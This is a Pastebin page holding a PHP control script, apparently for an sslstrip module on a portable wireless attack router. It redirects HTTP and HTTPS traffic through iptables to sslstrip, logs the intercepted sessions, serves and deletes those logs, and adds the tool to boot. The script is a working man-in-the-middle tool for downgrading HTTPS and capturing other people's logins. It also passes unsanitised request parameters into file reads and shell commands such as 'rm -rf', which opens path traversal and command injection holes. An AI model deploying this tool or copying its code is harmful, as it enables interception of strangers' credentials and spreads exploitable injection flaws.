Advertisement
loozr

/usb/modules/sslstrip/sslstrip_actions.php

Sep 23rd, 2012
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.21 KB | None | 0 0
  1. <?php
  2.  
  3. require("sslstrip_vars.php");
  4.  
  5. if (isset($_GET[sslstrip]))
  6. {
  7.     if($is_sslstrip_installed)
  8.     {
  9.         if (isset($_GET[start]))
  10.         {
  11.             if (isset($_GET[verbose])) $verbose = 1; else $verbose = 0;
  12.        
  13.             exec("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000");
  14.             exec("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 10000");
  15.        
  16.             $time = time();
  17.        
  18.             if($verbose)
  19.                 $full_cmd = "sslstrip -a -k -f -w ".$module_path."log/output_".$time.".log 2>&1";
  20.             else
  21.                 $full_cmd = "sslstrip -k -f -w ".$module_path."log/output_".$time.".log 2>&1";
  22.  
  23.             shell_exec("echo \"#!/bin/sh\n".$full_cmd." &\" > ".$module_path."sslstrip.sh && chmod +x ".$module_path."sslstrip.sh &");
  24.             $cmd = "echo ".$module_path."sslstrip.sh | at now";
  25.         }
  26.    
  27.         if (isset($_GET[stop]))
  28.         {
  29.             $rule_http_number = exec("iptables -t nat --line-numbers -n -L | grep 80 | grep 10000 | awk {'print $1'}") != "" ? 1 : 0;
  30.             exec("iptables -t nat -D PREROUTING ".$rule_http_number);
  31.             $rule_https_number = exec("iptables -t nat --line-numbers -n -L | grep 443 | grep 10000 | awk {'print $1'}") != "" ? 1 : 0;
  32.             exec("iptables -t nat -D PREROUTING ".$rule_https_number);
  33.            
  34.             $cmd = "kill `ps -ax | grep sslstrip | grep -v -e grep | grep -v -e php | awk {'print $1'}`";
  35.         }
  36.     }
  37.     else
  38.     {
  39.         echo "sslstrip is not installed...";
  40.     }
  41. }
  42.  
  43. if (isset($_GET[load]))
  44. {
  45.     if (isset($_GET[file]))
  46.     {
  47.         $log_date = date ("F d Y H:i:s", filemtime($module_path."log/".$_GET[file]));
  48.         echo "sslstrip ".$_GET[file]." [".$log_date."]\n";
  49.         echo file_get_contents($module_path."log/".$_GET[file]);
  50.     }
  51. }
  52.  
  53. if (isset($_GET[delete]))
  54. {
  55.     if (isset($_GET[file]))
  56.     {
  57.         if (isset($_GET[log]))
  58.             $cmd = "rm -rf ".$module_path."log/".$_GET[file]."*";
  59.     }
  60. }
  61.  
  62. if (isset($_GET[clean]))
  63. {
  64.     if (isset($_GET[file]))
  65.     {
  66.         if (isset($_GET[log]))
  67.             $cmd = "python log_ex.py ".$module_path."log/".$_GET[file]." -o html/".$_GET[file].".html";
  68.     }
  69. }
  70.  
  71.  
  72.  
  73. if (isset($_GET[usb]))
  74. {
  75.     if (isset($_GET[action]))
  76.     {
  77.         $action = $_GET[action];
  78.        
  79.         switch($action)
  80.         {
  81.             case 'enable':
  82.                 $cmd = "mkdir -p /usb/data/sslstrip/ && mv ".$module_path."log /usb/data/sslstrip/ && ln -s /usb/data/sslstrip/log ".$module_path."log &";
  83.             break;
  84.            
  85.             case 'disable':
  86.                 $cmd = "rm -rf ".$module_path."log && mv /usb/data/sslstrip/log ".$module_path." &";
  87.             break;
  88.         }
  89.     }
  90. }
  91.  
  92. if (isset($_GET[install]))
  93. {
  94.     if (isset($_GET[where]))
  95.     {
  96.         $where = $_GET[where];
  97.        
  98.         switch($where)
  99.         {
  100.             case 'usb':
  101.                 $cmd = "opkg update && opkg install sslstrip --dest usb";
  102.             break;
  103.            
  104.             case 'internal':
  105.                 $cmd = "opkg update && opkg install sslstrip";
  106.             break;
  107.         }
  108.     }
  109. }
  110.  
  111. if (isset($_GET[boot]))
  112. {
  113.     if (isset($_GET[action]))
  114.     {
  115.         $action = $_GET[action];
  116.        
  117.         switch($action)
  118.         {
  119.             case 'enable':
  120.                 exec("sed -i '/exit 0/d' /etc/rc.local");
  121.                 exec("echo ".$module_path."autostart.sh >> /etc/rc.local");
  122.                 exec("echo exit 0 >> /etc/rc.local");
  123.             break;
  124.            
  125.             case 'disable':
  126.             exec("sed -i '/sslstrip\/autostart.sh/d' /etc/rc.local");
  127.             break;
  128.         }
  129.     }  
  130. }
  131.  
  132. if($cmd != "")
  133. {
  134.     $output = shell_exec($cmd);
  135.    
  136.     if($output != "")
  137.         echo trim($output);
  138. }
  139.  
  140. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement